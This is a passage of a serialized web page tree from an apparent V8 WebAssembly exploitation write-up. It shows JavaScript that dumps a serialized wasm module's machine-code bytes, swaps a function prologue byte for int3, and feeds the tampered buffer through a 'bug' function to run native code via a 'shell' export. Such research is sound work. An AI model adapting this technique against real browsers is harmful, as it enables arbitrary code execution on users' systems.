35170,"children":135171},{"style":125},[135172],{"type":28,"value":231},{"type":22,"tag":118,"props":135174,"children":135175},{"style":674},[135176],{"type":28,"value":6036},{"type":22,"tag":118,"props":135178,"children":135179},{"style":125},[135180],{"type":28,"value":231},{"type":22,"tag":118,"props":135182,"children":135183},{"style":674},[135184],{"type":28,"value":6036},{"type":22,"tag":118,"props":135186,"children":135187},{"style":125},[135188],{"type":28,"value":231},{"type":22,"tag":118,"props":135190,"children":135191},{"style":674},[135192],{"type":28,"value":19260},{"type":22,"tag":118,"props":135194,"children":135195},{"style":125},[135196],{"type":28,"value":231},{"type":22,"tag":118,"props":135198,"children":135199},{"style":674},[135200],{"type":28,"value":5147},{"type":22,"tag":118,"props":135202,"children":135203},{"style":125},[135204],{"type":28,"value":231},{"type":22,"tag":118,"props":135206,"children":135207},{"style":674},[135208],{"type":28,"value":6026},{"type":22,"tag":118,"props":135210,"children":135211},{"style":125},[135212],{"type":28,"value":231},{"type":22,"tag":118,"props":135214,"children":135215},{"style":674},[135216],{"type":28,"value":6036},{"type":22,"tag":118,"props":135218,"children":135219},{"style":125},[135220],{"type":28,"value":231},{"type":22,"tag":118,"props":135222,"children":135223},{"style":674},[135224],{"type":28,"value":56612},{"type":22,"tag":118,"props":135226,"children":135227},{"style":125},[135228],{"type":28,"value":231},{"type":22,"tag":118,"props":135230,"children":135231},{"style":674},[135232],{"type":28,"value":57826},{"type":22,"tag":118,"props":135234,"children":135235},{"style":125},[135236],{"type":28,"value":231},{"type":22,"tag":118,"props":135238,"children":135239},{"style":674},[135240],{"type":28,"value":6026},{"type":22,"tag":118,"props":135242,"children":135243},{"style":125},[135244],{"type":28,"value":231},{"type":22,"tag":118,"props":135246,"children":135247},{"style":674},[135248],{"type":28,"value":20074},{"type":22,"tag":118,"props":135250,"children":135251},{"style":125},[135252],{"type":28,"value":231},{"type":22,"tag":118,"props":135254,"children":135255},{"style":674},[135256],{"type":28,"value":135094},{"type":22,"tag":118,"props":135258,"children":135259},{"style":125},[135260],{"type":28,"value":231},{"type":22,"tag":118,"props":135262,"children":135263},{"style":674},[135264],{"type":28,"value":135265},"104",{"type":22,"tag":118,"props":135267,"children":135268},{"style":125},[135269],{"type":28,"value":231},{"type":22,"tag":118,"props":135271,"children":135272},{"style":674},[135273],{"type":28,"value":135274},"101",{"type":22,"tag":118,"props":135276,"children":135277},{"style":125},[135278],{"type":28,"value":231},{"type":22,"tag":118,"props":135280,"children":135281},{"style":674},[135282],{"type":28,"value":135283},"108",{"type":22,"tag":118,"props":135285,"children":135286},{"style":125},[135287],{"type":28,"value":231},{"type":22,"tag":118,"props":135289,"children":135290},{"style":674},[135291],{"type":28,"value":135283},{"type":22,"tag":118,"props":135293,"children":135294},{"style":125},[135295],{"type":28,"value":782},{"type":22,"tag":118,"props":135297,"children":135298},{"class":120,"line":177},[135299,135303,135307,135311,135315,135319,135323,135327,135331,135335,135339,135343,135347,135351,135355,135360],{"type":22,"tag":118,"props":135300,"children":135301},{"style":674},[135302],{"type":28,"value":135076},{"type":22,"tag":118,"props":135304,"children":135305},{"style":125},[135306],{"type":28,"value":231},{"type":22,"tag":118,"props":135308,"children":135309},{"style":674},[135310],{"type":28,"value":6036},{"type":22,"tag":118,"props":135312,"children":135313},{"style":125},[135314],{"type":28,"value":231},{"type":22,"tag":118,"props":135316,"children":135317},{"style":674},[135318],{"type":28,"value":90849},{"type":22,"tag":118,"props":135320,"children":135321},{"style":125},[135322],{"type":28,"value":231},{"type":22,"tag":118,"props":135324,"children":135325},{"style":674},[135326],{"type":28,"value":19493},{"type":22,"tag":118,"props":135328,"children":135329},{"style":125},[135330],{"type":28,"value":231},{"type":22,"tag":118,"props":135332,"children":135333},{"style":674},[135334],{"type":28,"value":6026},{"type":22,"tag":118,"props":135336,"children":135337},{"style":125},[135338],{"type":28,"value":231},{"type":22,"tag":118,"props":135340,"children":135341},{"style":674},[135342],{"type":28,"value":5147},{"type":22,"tag":118,"props":135344,"children":135345},{"style":125},[135346],{"type":28,"value":231},{"type":22,"tag":118,"props":135348,"children":135349},{"style":674},[135350],{"type":28,"value":6036},{"type":22,"tag":118,"props":135352,"children":135353},{"style":125},[135354],{"type":28,"value":231},{"type":22,"tag":118,"props":135356,"children":135357},{"style":674},[135358],{"type":28,"value":135359},"11",{"type":22,"tag":118,"props":135361,"children":135362},{"style":125},[135363],{"type":28,"value":782},{"type":22,"tag":118,"props":135365,"children":135366},{"class":120,"line":195},[135367],{"type":22,"tag":118,"props":135368,"children":135369},{"style":125},[135370],{"type":28,"value":5764},{"type":22,"tag":118,"props":135372,"children":135373},{"class":120,"line":244},[135374,135378,135382,135386,135390,135395,135399,135403,135407,135412],{"type":22,"tag":118,"props":135375,"children":135376},{"style":146},[135377],{"type":28,"value":36987},{"type":22,"tag":118,"props":135379,"children":135380},{"style":204},[135381],{"type":28,"value":511},{"type":22,"tag":118,"props":135383,"children":135384},{"style":210},[135385],{"type":28,"value":837},{"type":22,"tag":118,"props":135387,"children":135388},{"style":146},[135389],{"type":28,"value":3442},{"type":22,"tag":118,"props":135391,"children":135392},{"style":204},[135393],{"type":28,"value":135394}," WebAssembly",{"type":22,"tag":118,"props":135396,"children":135397},{"style":125},[135398],{"type":28,"value":292},{"type":22,"tag":118,"props":135400,"children":135401},{"style":532},[135402],{"type":28,"value":87515},{"type":22,"tag":118,"props":135404,"children":135405},{"style":125},[135406],{"type":28,"value":540},{"type":22,"tag":118,"props":135408,"children":135409},{"style":204},[135410],{"type":28,"value":135411},"wasm_code",{"type":22,"tag":118,"props":135413,"children":135414},{"style":125},[135415],{"type":28,"value":682},{"type":22,"tag":118,"props":135417,"children":135418},{"class":120,"line":253},[135419,135423,135428,135432,135436,135440,135444,135449,135453,135458],{"type":22,"tag":118,"props":135420,"children":135421},{"style":146},[135422],{"type":28,"value":36987},{"type":22,"tag":118,"props":135424,"children":135425},{"style":204},[135426],{"type":28,"value":135427}," inst",{"type":22,"tag":118,"props":135429,"children":135430},{"style":210},[135431],{"type":28,"value":837},{"type":22,"tag":118,"props":135433,"children":135434},{"style":146},[135435],{"type":28,"value":3442},{"type":22,"tag":118,"props":135437,"children":135438},{"style":204},[135439],{"type":28,"value":135394},{"type":22,"tag":118,"props":135441,"children":135442},{"style":125},[135443],{"type":28,"value":292},{"type":22,"tag":118,"props":135445,"children":135446},{"style":532},[135447],{"type":28,"value":135448},"Instance",{"type":22,"tag":118,"props":135450,"children":135451},{"style":125},[135452],{"type":28,"value":540},{"type":22,"tag":118,"props":135454,"children":135455},{"style":204},[135456],{"type":28,"value":135457},"mod",{"type":22,"tag":118,"props":135459,"children":135460},{"style":125},[135461],{"type":28,"value":682},{"type":22,"tag":118,"props":135463,"children":135464},{"class":120,"line":263},[135465,135469,135473,135477,135481,135485,135489,135493,135498],{"type":22,"tag":118,"props":135466,"children":135467},{"style":146},[135468],{"type":28,"value":36987},{"type":22,"tag":118,"props":135470,"children":135471},{"style":204},[135472],{"type":28,"value":81605},{"type":22,"tag":118,"props":135474,"children":135475},{"style":210},[135476],{"type":28,"value":837},{"type":22,"tag":118,"props":135478,"children":135479},{"style":204},[135480],{"type":28,"value":135427},{"type":22,"tag":118,"props":135482,"children":135483},{"style":125},[135484],{"type":28,"value":292},{"type":22,"tag":118,"props":135486,"children":135487},{"style":204},[135488],{"type":28,"value":39827},{"type":22,"tag":118,"props":135490,"children":135491},{"style":125},[135492],{"type":28,"value":292},{"type":22,"tag":118,"props":135494,"children":135495},{"style":204},[135496],{"type":28,"value":135497},"shell",{"type":22,"tag":118,"props":135499,"children":135500},{"style":125},[135501],{"type":28,"value":801},{"type":22,"tag":118,"props":135503,"children":135504},{"class":120,"line":318},[135505],{"type":22,"tag":118,"props":135506,"children":135507},{"emptyLinePlaceholder":15},[135508],{"type":28,"value":250},{"type":22,"tag":118,"props":135510,"children":135511},{"class":120,"line":351},[135512,135516,135521,135525,135529],{"type":22,"tag":118,"props":135513,"children":135514},{"style":210},[135515],{"type":28,"value":58329},{"type":22,"tag":118,"props":135517,"children":135518},{"style":532},[135519],{"type":28,"value":135520},"WasmTierUpFunction",{"type":22,"tag":118,"props":135522,"children":135523},{"style":125},[135524],{"type":28,"value":540},{"type":22,"tag":118,"props":135526,"children":135527},{"style":204},[135528],{"type":28,"value":77896},{"type":22,"tag":118,"props":135530,"children":135531},{"style":125},[135532],{"type":28,"value":682},{"type":22,"tag":118,"props":135534,"children":135535},{"class":120,"line":359},[135536,135540,135545,135549,135554,135558,135562,135566],{"type":22,"tag":118,"props":135537,"children":135538},{"style":146},[135539],{"type":28,"value":36987},{"type":22,"tag":118,"props":135541,"children":135542},{"style":204},[135543],{"type":28,"value":135544}," serialized",{"type":22,"tag":118,"props":135546,"children":135547},{"style":210},[135548],{"type":28,"value":837},{"type":22,"tag":118,"props":135550,"children":135551},{"style":210},[135552],{"type":28,"value":135553}," %",{"type":22,"tag":118,"props":135555,"children":135556},{"style":532},[135557],{"type":28,"value":134552},{"type":22,"tag":118,"props":135559,"children":135560},{"style":125},[135561],{"type":28,"value":540},{"type":22,"tag":118,"props":135563,"children":135564},{"style":204},[135565],{"type":28,"value":135457},{"type":22,"tag":118,"props":135567,"children":135568},{"style":125},[135569],{"type":28,"value":682},{"type":22,"tag":118,"props":135571,"children":135572},{"class":120,"line":368},[135573,135577,135581,135585,135589,135593,135597,135602],{"type":22,"tag":118,"props":135574,"children":135575},{"style":146},[135576],{"type":28,"value":3149},{"type":22,"tag":118,"props":135578,"children":135579},{"style":204},[135580],{"type":28,"value":11158},{"type":22,"tag":118,"props":135582,"children":135583},{"style":210},[135584],{"type":28,"value":837},{"type":22,"tag":118,"props":135586,"children":135587},{"style":146},[135588],{"type":28,"value":3442},{"type":22,"tag":118,"props":135590,"children":135591},{"style":532},[135592],{"type":28,"value":135063},{"type":22,"tag":118,"props":135594,"children":135595},{"style":125},[135596],{"type":28,"value":540},{"type":22,"tag":118,"props":135598,"children":135599},{"style":204},[135600],{"type":28,"value":135601},"serialized",{"type":22,"tag":118,"props":135603,"children":135604},{"style":125},[135605],{"type":28,"value":682},{"type":22,"tag":118,"props":135607,"children":135608},{"class":120,"line":384},[135609,135614,135618,135622,135626,135631,135635,135639,135643,135648,135652,135657,135661,135665,135670],{"type":22,"tag":118,"props":135610,"children":135611},{"style":204},[135612],{"type":28,"value":135613},"console",{"type":22,"tag":118,"props":135615,"children":135616},{"style":125},[135617],{"type":28,"value":292},{"type":22,"tag":118,"props":135619,"children":135620},{"style":532},[135621],{"type":28,"value":103549},{"type":22,"tag":118,"props":135623,"children":135624},{"style":125},[135625],{"type":28,"value":540},{"type":22,"tag":118,"props":135627,"children":135628},{"style":1866},[135629],{"type":28,"value":135630},"'['",{"type":22,"tag":118,"props":135632,"children":135633},{"style":210},[135634],{"type":28,"value":10905},{"type":22,"tag":118,"props":135636,"children":135637},{"style":204},[135638],{"type":28,"value":11158},{"type":22,"tag":118,"props":135640,"children":135641},{"style":125},[135642],{"type":28,"value":292},{"type":22,"tag":118,"props":135644,"children":135645},{"style":532},[135646],{"type":28,"value":135647},"join",{"type":22,"tag":118,"props":135649,"children":135650},{"style":125},[135651],{"type":28,"value":540},{"type":22,"tag":118,"props":135653,"children":135654},{"style":1866},[135655],{"type":28,"value":135656},"', '",{"type":22,"tag":118,"props":135658,"children":135659},{"style":125},[135660],{"type":28,"value":588},{"type":22,"tag":118,"props":135662,"children":135663},{"style":210},[135664],{"type":28,"value":3220},{"type":22,"tag":118,"props":135666,"children":135667},{"style":1866},[135668],{"type":28,"value":135669}," ']'",{"type":22,"tag":118,"props":135671,"children":135672},{"style":125},[135673],{"type":28,"value":682},{"type":22,"tag":31,"props":135675,"children":135676},{},[135677],{"type":28,"value":135678},"This produces the following output:",{"type":22,"tag":107,"props":135680,"children":135682},{"code":135681},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135683],{"type":22,"tag":114,"props":135684,"children":135685},{"__ignoreMap":7},[135686],{"type":28,"value":135681},{"type":22,"tag":31,"props":135688,"children":135689},{},[135690,135692,135698,135700,135706,135708,135714,135715,135721,135723,135728],{"type":28,"value":135691},"The bytes ",{"type":22,"tag":114,"props":135693,"children":135695},{"className":135694},[],[135696],{"type":28,"value":135697},"85, 72, 137, 229, ...",{"type":28,"value":135699}," correspond to the x86-64 function prologue (",{"type":22,"tag":114,"props":135701,"children":135703},{"className":135702},[],[135704],{"type":28,"value":135705},"push rbp; mov rbp, rsp",{"type":28,"value":135707},"). We replace the first byte with ",{"type":22,"tag":114,"props":135709,"children":135711},{"className":135710},[],[135712],{"type":28,"value":135713},"0xcc",{"type":28,"value":18426},{"type":22,"tag":114,"props":135716,"children":135718},{"className":135717},[],[135719],{"type":28,"value":135720},"int3",{"type":28,"value":135722}," opcode), and use this modified buffer as the serialized input to ",{"type":22,"tag":114,"props":135724,"children":135726},{"className":135725},[],[135727],{"type":28,"value":134526},{"type":28,"value":213},{"type":22,"tag":107,"props":135730,"children":135732},{"code":135731,"language":37556,"meta":7,"className":37554,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[135733],{"type":22,"tag":114,"props":135734,"children":135735},{"__ignoreMap":7},[135736,135759,135786,136006,136073,136081,136108,136322,136574,136825,137051,137295,137515,137522,137571,137616,137660,137699,137711],{"type":22,"tag":118,"props":135737,"children":135738},{"class":120,"line":121},[135739,135743,135747,135751,135755],{"type":22,"tag":118,"props":135740,"children":135741},{"style":125},[135742],{"type":28,"value":540},{"type":22,"tag":118,"props":135744,"children":135745},{"style":146},[135746],{"type":28,"value":38086},{"type":22,"tag":118,"props":135748,"children":135749},{"style":125},[135750],{"type":28,"value":41638},{"type":22,"tag":118,"props":135752,"children":135753},{"style":146},[135754],{"type":28,"value":1616},{"type":22,"tag":118,"props":135756,"children":135757},{"style":125},[135758],{"type":28,"value":1474},{"type":22,"tag":118,"props":135760,"children":135761},{"class":120,"line":142},[135762,135766,135770,135774,135778,135782],{"type":22,"tag":118,"props":135763,"children":135764},{"style":146},[135765],{"type":28,"value":38129},{"type":22,"tag":118,"props":135767,"children":135768},{"style":204},[135769],{"type":28,"value":135050},{"type":22,"tag":118,"props":135771,"children":135772},{"style":210},[135773],{"type":28,"value":837},{"type":22,"tag":118,"props":135775,"children":135776},{"style":146},[135777],{"type":28,"value":3442},{"type":22,"tag":118,"props":135779,"children":135780},{"style":532},[135781],{"type":28,"value":135063},{"type":22,"tag":118,"props":135783,"children":135784},{"style":125},[135785],{"type":28,"value":135068},{"type":22,"tag":118,"props":135787,"children":135788},{"class":120,"line":177},[135789,135794,135798,135802,135806,135810,135814,135818,135822,135826,135830,135834,135838,135842,135846,135850,135854,135858,135862,135866,135870,135874,135878,135882,135886,135890,135894,135898,135902,135906,135910,135914,135918,135922,135926,135930,135934,135938,135942,135946,135950,135954,135958,135962,135966,135970,135974,135978,135982,135986,135990,135994,135998,136002],{"type":22,"tag":118,"props":135790,"children":135791},{"style":674},[135792],{"type":28,"value":135793},"    0",{"type":22,"tag":118,"props":135795,"children":135796},{"style":125},[135797],{"type":28,"value":231},{"type":22,"tag":118,"props":135799,"children":135800},{"style":674},[135801],{"type":28,"value":135085},{"type":22,"tag":118,"props":135803,"children":135804},{"style":125},[135805],{"type":28,"value":231},{"type":22,"tag":118,"props":135807,"children":135808},{"style":674},[135809],{"type":28,"value":135094},{"type":22,"tag":118,"props":135811,"children":135812},{"style":125},[135813],{"type":28,"value":231},{"type":22,"tag":118,"props":135815,"children":135816},{"style":674},[135817],{"type":28,"value":135103},{"type":22,"tag":118,"props":135819,"children":135820},{"style":125},[135821],{"type":28,"value":231},{"type":22,"tag":118,"props":135823,"children":135824},{"style":674},[135825],{"type":28,"value":6026},{"type":22,"tag":118,"props":135827,"children":135828},{"style":125},[135829],{"type":28,"value":231},{"type":22,"tag":118,"props":135831,"children":135832},{"style":674},[135833],{"type":28,"value":6036},{"type":22,"tag":118,"props":135835,"children":135836},{"style":125},[135837],{"type":28,"value":231},{"type":22,"tag":118,"props":135839,"children":135840},{"style":674},[135841],{"type":28,"value":6036},{"type":22,"tag":118,"props":135843,"children":135844},{"style":125},[135845],{"type":28,"value":231},{"type":22,"tag":118,"props":135847,"children":135848},{"style":674},[135849],{"type":28,"value":6036},{"type":22,"tag":118,"props":135851,"children":135852},{"style":125},[135853],{"type":28,"value":231},{"type":22,"tag":118,"props":135855,"children":135856},{"style":674},[135857],{"type":28,"value":6026},{"type":22,"tag":118,"props":135859,"children":135860},{"style":125},[135861],{"type":28,"value":231},{"type":22,"tag":118,"props":135863,"children":135864},{"style":674},[135865],{"type":28,"value":19493},{"type":22,"tag":118,"props":135867,"children":135868},{"style":125},[135869],{"type":28,"value":231},{"type":22,"tag":118,"props":135871,"children":135872},{"style":674},[135873],{"type":28,"value":6026},{"type":22,"tag":118,"props":135875,"children":135876},{"style":125},[135877],{"type":28,"value":231},{"type":22,"tag":118,"props":135879,"children":135880},{"style":674},[135881],{"type":28,"value":135168},{"type":22,"tag":118,"props":135883,"children":135884},{"style":125},[135885],{"type":28,"value":231},{"type":22,"tag":118,"props":135887,"children":135888},{"style":674},[135889],{"type":28,"value":6036},{"type":22,"tag":118,"props":135891,"children":135892},{"style":125},[135893],{"type":28,"value":231},{"type":22,"tag":118,"props":135895,"children":135896},{"style":674},[135897],{"type":28,"value":6036},{"type":22,"tag":118,"props":135899,"children":135900},{"style":125},[135901],{"type":28,"value":231},{"type":22,"tag":118,"props":135903,"children":135904},{"style":674},[135905],{"type":28,"value":19260},{"type":22,"tag":118,"props":135907,"children":135908},{"style":125},[135909],{"type":28,"value":231},{"type":22,"tag":118,"props":135911,"children":135912},{"style":674},[135913],{"type":28,"value":5147},{"type":22,"tag":118,"props":135915,"children":135916},{"style":125},[135917],{"type":28,"value":231},{"type":22,"tag":118,"props":135919,"children":135920},{"style":674},[135921],{"type":28,"value":6026},{"type":22,"tag":118,"props":135923,"children":135924},{"style":125},[135925],{"type":28,"value":231},{"type":22,"tag":118,"props":135927,"children":135928},{"style":674},[135929],{"type":28,"value":6036},{"type":22,"tag":118,"props":135931,"children":135932},{"style":125},[135933],{"type":28,"value":231},{"type":22,"tag":118,"props":135935,"children":135936},{"style":674},[135937],{"type":28,"value":56612},{"type":22,"tag":118,"props":135939,"children":135940},{"style":125},[135941],{"type":28,"value":231},{"type":22,"tag":118,"props":135943,"children":135944},{"style":674},[135945],{"type":28,"value":57826},{"type":22,"tag":118,"props":135947,"children":135948},{"style":125},[135949],{"type":28,"value":231},{"type":22,"tag":118,"props":135951,"children":135952},{"style":674},[135953],{"type":28,"value":6026},{"type":22,"tag":118,"props":135955,"children":135956},{"style":125},[135957],{"type":28,"value":231},{"type":22,"tag":118,"props":135959,"children":135960},{"style":674},[135961],{"type":28,"value":20074},{"type":22,"tag":118,"props":135963,"children":135964},{"style":125},[135965],{"type":28,"value":231},{"type":22,"tag":118,"props":135967,"children":135968},{"style":674},[135969],{"type":28,"value":135094},{"type":22,"tag":118,"props":135971,"children":135972},{"style":125},[135973],{"type":28,"value":231},{"type":22,"tag":118,"props":135975,"children":135976},{"style":674},[135977],{"type":28,"value":135265},{"type":22,"tag":118,"props":135979,"children":135980},{"style":125},[135981],{"type":28,"value":231},{"type":22,"tag":118,"props":135983,"children":135984},{"style":674},[135985],{"type":28,"value":135274},{"type":22,"tag":118,"props":135987,"children":135988},{"style":125},[135989],{"type":28,"value":231},{"type":22,"tag":118,"props":135991,"children":135992},{"style":674},[135993],{"type":28,"value":135283},{"type":22,"tag":118,"props":135995,"children":135996},{"style":125},[135997],{"type":28,"value":231},{"type":22,"tag":118,"props":135999,"children":136000},{"style":674},[136001],{"type":28,"value":135283},{"type":22,"tag":118,"props":136003,"children":136004},{"style":125},[136005],{"type":28,"value":782},{"type":22,"tag":118,"props":136007,"children":136008},{"class":120,"line":195},[136009,136013,136017,136021,136025,136029,136033,136037,136041,136045,136049,136053,136057,136061,136065,136069],{"type":22,"tag":118,"props":136010,"children":136011},{"style":674},[136012],{"type":28,"value":135793},{"type":22,"tag":118,"props":136014,"children":136015},{"style":125},[136016],{"type":28,"value":231},{"type":22,"tag":118,"props":136018,"children":136019},{"style":674},[136020],{"type":28,"value":6036},{"type":22,"tag":118,"props":136022,"children":136023},{"style":125},[136024],{"type":28,"value":231},{"type":22,"tag":118,"props":136026,"children":136027},{"style":674},[136028],{"type":28,"value":90849},{"type":22,"tag":118,"props":136030,"children":136031},{"style":125},[136032],{"type":28,"value":231},{"type":22,"tag":118,"props":136034,"children":136035},{"style":674},[136036],{"type":28,"value":19493},{"type":22,"tag":118,"props":136038,"children":136039},{"style":125},[136040],{"type":28,"value":231},{"type":22,"tag":118,"props":136042,"children":136043},{"style":674},[136044],{"type":28,"value":6026},{"type":22,"tag":118,"props":136046,"children":136047},{"style":125},[136048],{"type":28,"value":231},{"type":22,"tag":118,"props":136050,"children":136051},{"style":674},[136052],{"type":28,"value":5147},{"type":22,"tag":118,"props":136054,"children":136055},{"style":125},[136056],{"type":28,"value":231},{"type":22,"tag":118,"props":136058,"children":136059},{"style":674},[136060],{"type":28,"value":6036},{"type":22,"tag":118,"props":136062,"children":136063},{"style":125},[136064],{"type":28,"value":231},{"type":22,"tag":118,"props":136066,"children":136067},{"style":674},[136068],{"type":28,"value":135359},{"type":22,"tag":118,"props":136070,"children":136071},{"style":125},[136072],{"type":28,"value":782},{"type":22,"tag":118,"props":136074,"children":136075},{"class":120,"line":244},[136076],{"type":22,"tag":118,"props":136077,"children":136078},{"style":125},[136079],{"type":28,"value":136080},"  ]);\n",{"type":22,"tag":118,"props":136082,"children":136083},{"class":120,"line":253},[136084,136088,136092,136096,136100,136104],{"type":22,"tag":118,"props":136085,"children":136086},{"style":146},[136087],{"type":28,"value":38129},{"type":22,"tag":118,"props":136089,"children":136090},{"style":204},[136091],{"type":28,"value":126863},{"type":22,"tag":118,"props":136093,"children":136094},{"style":210},[136095],{"type":28,"value":837},{"type":22,"tag":118,"props":136097,"children":136098},{"style":146},[136099],{"type":28,"value":3442},{"type":22,"tag":118,"props":136101,"children":136102},{"style":532},[136103],{"type":28,"value":135063},{"type":22,"tag":118,"props":136105,"children":136106},{"style":125},[136107],{"type":28,"value":135068},{"type":22,"tag":118,"props":136109,"children":136110},{"class":120,"line":263},[136111,136116,136120,136124,136128,136133,136137,136142,136146,136151,136155,136160,136164,136169,136173,136178,136182,136187,136191,136196,136200,136204,136208,136212,136216,136221,136225,136230,136234,136238,136242,136246,136250,136254,136258,136262,136266,136270,136274,136278,136282,136286,136290,136294,136298,136302,136306,136310,136314,136318],{"type":22,"tag":118,"props":136112,"children":136113},{"style":674},[136114],{"type":28,"value":136115},"    147",{"type":22,"tag":118,"props":136117,"children":136118},{"style":125},[136119],{"type":28,"value":231},{"type":22,"tag":118,"props":136121,"children":136122},{"style":674},[136123],{"type":28,"value":20386},{"type":22,"tag":118,"props":136125,"children":136126},{"style":125},[136127],{"type":28,"value":231},{"type":22,"tag":118,"props":136129,"children":136130},{"style":674},[136131],{"type":28,"value":136132},"222",{"type":22,"tag":118,"props":136134,"children":136135},{"style":125},[136136],{"type":28,"value":231},{"type":22,"tag":118,"props":136138,"children":136139},{"style":674},[136140],{"type":28,"value":136141},"192",{"type":22,"tag":118,"props":136143,"children":136144},{"style":125},[136145],{"type":28,"value":231},{"type":22,"tag":118,"props":136147,"children":136148},{"style":674},[136149],{"type":28,"value":136150},"20",{"type":22,"tag":118,"props":136152,"children":136153},{"style":125},[136154],{"type":28,"value":231},{"type":22,"tag":118,"props":136156,"children":136157},{"style":674},[136158],{"type":28,"value":136159},"119",{"type":22,"tag":118,"props":136161,"children":136162},{"style":125},[136163],{"type":28,"value":231},{"type":22,"tag":118,"props":136165,"children":136166},{"style":674},[136167],{"type":28,"value":136168},"44",{"type":22,"tag":118,"props":136170,"children":136171},{"style":125},[136172],{"type":28,"value":231},{"type":22,"tag":118,"props":136174,"children":136175},{"style":674},[136176],{"type":28,"value":136177},"43",{"type":22,"tag":118,"props":136179,"children":136180},{"style":125},[136181],{"type":28,"value":231},{"type":22,"tag":118,"props":136183,"children":136184},{"style":674},[136185],{"type":28,"value":136186},"127",{"type":22,"tag":118,"props":136188,"children":136189},{"style":125},[136190],{"type":28,"value":231},{"type":22,"tag":118,"props":136192,"children":136193},{"style":674},[136194],{"type":28,"value":136195},"62",{"type":22,"tag":118,"props":136197,"children":136198},{"style":125},[136199],{"type":28,"value":231},{"type":22,"tag":118,"props":136201,"children":136202},{"style":674},[136203],{"type":28,"value":19260},{"type":22,"tag":118,"props":136205,"children":136206},{"style":125},[136207],{"type":28,"value":231},{"type":22,"tag":118,"props":136209,"children":136210},{"style":674},[136211],{"type":28,"value":6036},{"type":22,"tag":118,"props":136213,"children":136214},{"style":125},[136215],{"type":28,"value":231},{"type":22,"tag":118,"props":136217,"children":136218},{"style":674},[136219],{"type":28,"value":136220},"159",{"type":22,"tag":118,"props":136222,"children":136223},{"style":125},[136224],{"type":28,"value":231},{"type":22,"tag":118,"props":136226,"children":136227},{"style":674},[136228],{"type":28,"value":136229},"206",{"type":22,"tag":118,"props":136231,"children":136232},{"style":125},[136233],{"type":28,"value":231},{"type":22,"tag":118,"props":136235,"children":136236},{"style":674},[136237],{"type":28,"value":46089},{"type":22,"tag":118,"props":136239,"children":136240},{"style":125},[136241],{"type":28,"value":231},{"type":22,"tag":118,"props":136243,"children":136244},{"style":674},[136245],{"type":28,"value":136177},{"type":22,"tag":118,"props":136247,"children":136248},{"style":125},[136249],{"type":28,"value":231},{"type":22,"tag":118,"props":136251,"children":136252},{"style":674},[136253],{"type":28,"value":6036},{"type":22,"tag":118,"props":136255,"children":136256},{"style":125},[136257],{"type":28,"value":231},{"type":22,"tag":118,"props":136259,"children":136260},{"style":674},[136261],{"type":28,"value":6036},{"type":22,"tag":118,"props":136263,"children":136264},{"style":125},[136265],{"type":28,"value":231},{"type":22,"tag":118,"props":136267,"children":136268},{"style":674},[136269],{"type":28,"value":19260},{"type":22,"tag":118,"props":136271,"children":136272},{"style":125},[136273],{"type":28,"value":231},{"type":22,"tag":118,"props":136275,"children":136276},{"style":674},[136277],{"type":28,"value":6036},{"type":22,"tag":118,"props":136279,"children":136280},{"style":125},[136281],{"type":28,"value":231},{"type":22,"tag":118,"props":136283,"children":136284},{"style":674},[136285],{"type":28,"value":6036},{"type":22,"tag":118,"props":136287,"children":136288},{"style":125},[136289],{"type":28,"value":231},{"type":22,"tag":118,"props":136291,"children":136292},{"style":674},[136293],{"type":28,"value":6036},{"type":22,"tag":118,"props":136295,"children":136296},{"style":125},[136297],{"type":28,"value":231},{"type":22,"tag":118,"props":136299,"children":136300},{"style":674},[136301],{"type":28,"value":6036},{"type":22,"tag":118,"props":136303,"children":136304},{"style":125},[136305],{"type":28,"value":231},{"type":22,"tag":118,"props":136307,"children":136308},{"style":674},[136309],{"type":28,"value":6036},{"type":22,"tag":118,"props":136311,"children":136312},{"style":125},[136313],{"type":28,"value":231},{"type":22,"tag":118,"props":136315,"children":136316},{"style":674},[136317],{"type":28,"value":31361},{"type":22,"tag":118,"props":136319,"children":136320},{"style":125},[136321],{"type":28,"value":782},{"type":22,"tag":118,"props":136323,"children":136324},{"class":120,"line":318},[136325,136329,136333,136337,136341,136345,136